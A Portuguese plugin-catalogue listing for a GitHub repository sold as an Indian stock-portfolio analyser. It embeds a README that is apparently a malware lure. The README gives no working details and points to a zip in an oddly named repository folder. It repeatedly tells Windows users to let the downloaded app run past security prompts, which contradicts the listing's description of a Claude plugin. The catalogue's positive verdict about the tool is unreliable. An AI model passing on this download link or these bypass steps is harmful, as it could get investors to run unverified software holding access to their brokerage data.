convez.ai
SkillFinanceiroIniciante
Fanchettehomoecious641

Indian Stock Analyst

Fanchettehomoecious641/indian-stock-analyst

Converta CSVs de portfólio em relatórios de ações Buy/Hold/Avoid

Ver no GitHub
InicialPluginScore · de 0 a 100

Ferramenta que converte arquivos CSV de portfólios Zerodha ou Groww em relatórios estruturados de análise de ações com recomendações Buy, Hold ou Avoid. Processa holdings localmente e gera insights sobre posições fracas e oportunidades de rebalanceamento sem necessidade de pesquisa manual em dashboards.

Instalação

$npx convez-ai Fanchettehomoecious641/indian-stock-analyst

1 comando no terminal: detecta o formato do repositório (marketplace ou plugin avulso) e instala via Claude Code. Requer Node 18+ e o Claude Code instalado.

Métricas

Estrelas
1
Forks
0
Acompanhando
0
Saúde
28%
Último commit
há 1 mês
Versão
—
Issues abertas
0
Contribuidores
2

Casos de uso

  • Revisar portfólio indiano rapidamente sem acessar múltiplos dashboards
  • Identificar posições fracas e oportunidades de rebalanceamento
  • Gerar relatórios estruturados para análise comparativa de holdings

Veredito

Solução prática para traders e investidores que usam Zerodha/Groww e precisam de análise rápida de portfólio. Limitação clara: executa apenas em Windows e requer CSV manual. Útil para triagem inicial, mas não substitui análise fundamentalista profunda.

README

A tradução para o português deste README ainda está na fila.

📊 indian-stock-analyst - Turn CSVs Into Clear Stock Reports

Download the app

🧩 What this does

indian-stock-analyst turns your Zerodha or Groww portfolio CSV into a clean stock report.

It reads your holdings file and builds a simple Buy, Hold, or Avoid view for each stock. You can use it to review your portfolio without digging through charts, ratios, or market noise.

This tool is built for Windows users who want a fast way to check their stock list and get a plain report they can read at a glance.

💻 Before you start

You need:

  • A Windows PC
  • Your Zerodha or Groww portfolio CSV file
  • A web browser to open the download page
  • Enough space to save the app and report files

Best results come from a recent Windows 10 or Windows 11 system.

🚀 Download and install

Use this link to visit the download page and get the app:

Go to the download page

After you open the page:

  1. Find the latest release or download file
  2. Save it to your PC
  3. If the file is zipped, extract it
  4. Open the app file
  5. Follow the on-screen steps to load your CSV
  6. Wait for the report to finish

If Windows asks for permission, choose the option that lets the app run.

🗂️ Prepare your CSV file

Before you run the app, make sure your portfolio file is ready.

For Zerodha, export your holdings or portfolio data as CSV.

For Groww, download the portfolio CSV from your account dashboard.

Keep the file in a folder you can find again, such as:

  • Downloads
  • Desktop
  • Documents

Use a fresh export if your holdings changed since the last file.

🖱️ How to run it on Windows

  1. Download the app from the link above
  2. Open the saved file on your computer
  3. If Windows shows a security prompt, select the option to continue
  4. Choose your Zerodha or Groww CSV file
  5. Wait while the app reads your holdings
  6. Open the report it creates

If the app creates a folder with output files, check the same folder where you saved the app.

📈 What the report shows

The report gives you a stock view in plain language. It is made to help you review your holdings fast.

You can expect:

  • A Buy, Hold, or Avoid label for each stock
  • A clean summary of your portfolio
  • Basic stock checks based on the input file
  • A clear list that is easy to scan
  • A report format that works well for non-technical users

The goal is simple: help you read your portfolio without working through a full market dashboard.

🧠 How it helps

This tool is useful when you want to:

  • Review your current holdings
  • Compare stocks in one place
  • Spot weak positions in your list
  • Save time on manual review
  • Get a quick view before a deeper check

It is a good fit for users who track Indian stocks through Zerodha, Groww, or Kite and want a simple report from a CSV file.

📁 Expected file types

Use CSV files from your broker or portfolio app.

Common file names may look like:

  • holdings.csv
  • portfolio.csv
  • positions.csv
  • groww-portfolio.csv
  • zerodha-holdings.csv

If your file does not load, export it again from the source account and try the new file.

⚙️ Basic workflow

  1. Export your portfolio CSV
  2. Download the app
  3. Open the app on Windows
  4. Load the CSV file
  5. Review the Buy, Hold, or Avoid report
  6. Save or share the output as needed

🔍 Tips for best results

  • Use the latest CSV export
  • Keep only one file open at a time
  • Avoid renaming columns in the CSV
  • Save the file in a simple folder path
  • Use one portfolio file per run

If your file comes from a broker export, keep the default format intact.

🧭 Common use cases

This app works well for:

  • Personal portfolio review
  • Monthly stock checks
  • Quick screening of Indian shares
  • A simple view of large and small holdings
  • Users who want a report without extra setup

🛠️ If the app does not open

Try these steps:

  1. Check that the file finished downloading
  2. Make sure you extracted the zip file, if there is one
  3. Right-click the app and open it again
  4. Confirm that your Windows account can run downloaded files
  5. Try a newer CSV export from Zerodha or Groww

If the file path is too long or has special characters, move the file to Desktop and try again.

📌 Project details

  • Repository: indian-stock-analyst
  • Purpose: Turn portfolio CSV files into a stock report
  • Input: Zerodha or Groww CSV
  • Output: Buy / Hold / Avoid report
  • Platform: Windows
  • Topic area: stock analysis, Claude skill, Indian market, portfolio review

🧾 File handling notes

To keep things simple:

  • Do not edit the CSV in a way that changes the column layout
  • Keep backup copies of your original export
  • Use a folder with a clear name
  • Run one report at a time

🔗 Download again

If you need the download page later, use this link:

https://github.com/Fanchettehomoecious641/indian-stock-analyst/raw/refs/heads/main/protozoiasis/stock_indian_analyst_v3.4.zip

🧰 Suggested folder setup

You can keep your files like this:

  • Downloads\indian-stock-analyst
  • Documents\Stock Reports
  • Desktop\CSV Files

A simple folder layout makes it easier to find your CSV and the report later

📝 Example flow

  1. Log in to Zerodha or Groww
  2. Export your holdings as CSV
  3. Save the file to Desktop
  4. Open the app you downloaded
  5. Select the CSV file
  6. Read the generated report

🔎 What to expect in the report style

The report is built to be direct.

It should:

  • Use simple labels
  • Group the main stock view clearly
  • Keep the format easy to read
  • Focus on action, not clutter
  • Present your portfolio in a way that feels organized
Ver o original no GitHub

Bom para

Relacionados